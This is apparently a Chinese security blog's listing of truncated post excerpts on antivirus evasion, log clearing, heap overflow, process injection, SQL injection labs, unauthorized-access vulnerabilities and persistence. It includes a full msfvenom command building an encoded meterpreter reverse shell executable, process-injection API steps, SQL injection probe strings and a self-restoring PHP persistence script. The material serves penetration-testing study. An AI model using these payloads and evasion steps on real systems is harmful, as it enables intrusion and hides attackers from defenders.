免杀工具的使用
msf免杀msf自编码处理使用msfvenom --list eencoders可查看所有编码
评级最高的两个encoder为 cmd/powershell_base64和x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器了。
使用x86/shikata_ga_nai生成payload,参数-i为编码次数,我这设置15次,并使用了-b参数去掉payload中的空字符。
1msfvenom-p windows/meterpreter/reverse_tcp LHosT=10.211.55.2 LPoRT=3333 -e x86/shikata_ga_nai -b "\x00" -i 15 -fexe -0 payload2.exe
由于shikata_ga_nai编码技术是多态的,也就是说每次成的payload件都不一样,有时成的件会被查杀,有时却不会。当然这个也和编码次数有定关系,编码次数好像超过70次就经常成出错,但是编码次数多并不代表免杀能强。
msf自捆绑免杀在成payload时可以使用捆绑功能,使 ...
windows痕迹清除基础
Windows日志简介Windows系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找收到攻击时攻击者留下的痕迹
在渗透测试过程中,Windows日志往往记录系统上的敏感操作,如添加用户、远程登录、执行命令等。攻击者通常会对Windwos日志进行清除和绕过
Windows主要有以下三类日志记录系统文件
系统日志记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等,系统日志中记录的时间类型由Windows NT/2000操作系统预先定义
默认日志路径:%SystemRoot%\System32\Winevt\Logs\System.evtx
应用程序日志包含由应用程序或者系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序中记录文件错误。程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现程序崩溃情况,那么我们可以从程序事件日志中找到相应的记录,也许有助于你解决问题
默认日志路径:`%SystemRoot%\System32\Winevt\Logs\ ...
Linux痕迹清除
1 日志分析Linux系统拥有非常灵活和强大的日志功能,可以保存几乎所有的操作记录,并可以从中检索出我们需要的信息。
日志对于系统安全来说非常重要,它记录每天发生的各种各样的事情,用户可以通过它来检查错误发生的原因,或者寻找收到攻击时攻击者留下的痕迹。日志主要的功能是审计和检测。它还可以实时检测系统状态,监测和追踪侵入者
1.1 日志简介日志默认位置:/var/log
查看日志配置情况:more /etc/rsyslog.conf
1.2 日志消息级别
数值
英文名称
中文名称
描述
典型场景示例
0
EMERG
紧急
系统不可用,必须立即处理
内核崩溃、文件系统损坏导致系统无法启动
1
ALERT
警戒
必须立即采取行动(如不处理将导致严重问题)
磁盘空间 100% 耗尽、关键服务端口被占用
2
CRIT
严重
严重错误,服务可能中断但系统仍可运行
数据库连接失败、认证服务崩溃
3
ERR
错误
非紧急错误,服务功能部分受限
应用程序某模块调用失败、配置文件语法错误
4
WARNING
警告
潜在问题,不影响当前功能但可能预示未来故障
磁盘空间低于 10 ...
堆溢出
Linux动态内存管理机制堆堆是用于分配动态内存的一段内存区域,它独立的存在于内存中,介于程序内存基地址和libc地址之间,它是从低地址向高地址生长的
比如说:一个留言板程序,用户可以输入自己的留言,留言长度由用户自己决定,那么栈上存储的是一个函数的局部变量,bss储存全局变量
那么我们怎么储存用户输入的留言,用户的留言可能是1个字符到几百几千个字符,这时候就需要堆来进行动态管理
在lib中,我们可以通过malloc来给用户分配一段长度位size的内存,通过free来释放这段内存空间
这些数据,被统一存放在堆中,维护这些数据的运行机制在glibc中,称为ptmalloc,也就是我们要重点学习的内容
函数malloc 函数malloc 的说明如下:1234567891011malloc(size_t n)Returns a pointer to a newly allocated chunk of at least n bytes, or nullif no space is available. Additionally, on failure, errno isset to ENOM ...
免杀之进程注入
分配虚拟内存每个进程都有自己的虚拟进程。进程之间存在共享内存,但在一般情况下,如果没有Kernel的协助,进程A应该无法查看进程B的虚拟内存。内核当然可以看到所有进程的虚拟内存,因为它必须执行虚拟内存到物理内存的转换。进程A可以使用虚拟内存API在进程B的地址空间中分配新的虚拟内存,这个功能的具体操作由内核在内部实施
使用OpenProcess或NtOpenProcess打开一个目标进程
使用VirtualAllocEx或NtAlliocateVirualMemory在目标进程中分配eXecute-Read-Write(XRW)内存
使用WriteProcessMemory或NtWriteVirtualMemory 将payload复制到新内存中
执行payload
使用VirtualFreeEx或NtWriteMemory在目标进程中取消释放的XRW内存
使用CloseHandle或Ntclose关闭目标进程句柄
创建section(节)对象节对象代表一段可以分享的内存,进程可以使用section对象与其他共享部分内存地址空间。Section对象还提供一种机制,可以通过该机制将文 ...
红队下的windows
进程对象进程对象的ProcessBreakOnnTermination成员通常被恶意软件使用。它允许某人将某个关键进程标记为关键进程。这意味着如果你尝试通过TerminnateProcess终止该进程,将会导致蓝屏
同样线程对象ThreadBreakOnTermination将线程设置为关键线程。如果有人试图终止该进程,它将导致蓝屏
关键的API
2025獬豸杯
服务器部分主要是帮一位新佬做的题,只挂载就不做题了,尽可能简单点哈
我这里用FTK手动挂载(才不会说我火眼过期了没人帮我续呢T T),题目不是很难,唯一的难点是证书的续期问题,虽说有一个时间强制重置的方案,但是感觉续订证书更符合正常人思维一点
而且我一开始主服务器内存给少了,还以为是时间重置方案不行了…看网上有佬说还是正常的,就没测试了哈,我这里说一下如何进行k8s的证书续订
首先是FTK挂载
这里一定要是physical only->Block Device / Writable
然后账号和密码三台都是root/123456,一次就测试成功了,就不赘述了,要不然还要用hashcat爆破或者是进单用户模式强制去除密码
进入master服务器后就是进行网络的配置工作了
网络的配置开始可以先进master服务器,用ip addr查看网络环境,看出来是192.168.2.199,然后配置虚拟网络
重启服务器(或者不重启我感觉也可以)
证书更新主节点更新首先先更新一下kubelet.conf证书123456789# 1. 备份旧的(过期的)配置文件mv /etc/kubernetes ...
sqlI-labs
第一关先输入/?id=1' and 1=1 --+和/?id=1 and 1=-1来判断是否存在注入点
可以看出,存在一个sql注入点,可以进行联合查询检查
当进行到4的时候报错,说明有三个字段
接下来可以对其进行注入获取信息了版本号
路径![[Pasted image 20260206183400.png]]
爆表名
第二关和第一关基本差不多,不多说了
第三关查看源码1"SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
伪造成?id=1') and 1=2 --+,后面基本一样
第四关12$id = '"' . $id . '"';$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
它的意思是让字符串的""包围在$id周围,使他伪造成一个字符串型变量
所以,这样伪造
未授权访问漏洞
定义一种错位配置或懒惰式配置导致原本需要账号密码才能访问的后台变成可以直接访问的漏洞
利用这种漏洞可以做什么?
获取后台敏感数据,寻找其他漏洞进一步利用,甚至直接或者间接控制目标机器
错位配置或者初次安装使用默认配置导致
Mysql未授权访问未授权访问-CVE-2012-2122利用漏洞简介当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库
受影响的版本MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
启动环境123cd vulhub-master/mysql/CVE-2012-2122sudo docker-compose up -d
漏洞复现先判断服务开放情况 - 端口扫描
在线扫描:http://coolaf.com/zh/tool ...
windows权限维持
1 php不死马权限维持123456789101112131415161718<?phpignore_user_abort(); //关掉浏览器,PHP脚本也可以继续执行 .set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去$interval = 5; // 每隔*秒运行do {$filename = 'test.php';if(file_exists($filename)) {echo "xxx";}else {$file = fopen("test.php", "w");$txt = "<?php phpinfo();?>\n";fwrite($file, $txt);fclose($file);}sleep($interval);} while (true);?>
这段代码的意思是就是 只要访问一次1.php文件 该目录下就会生成test.php ...







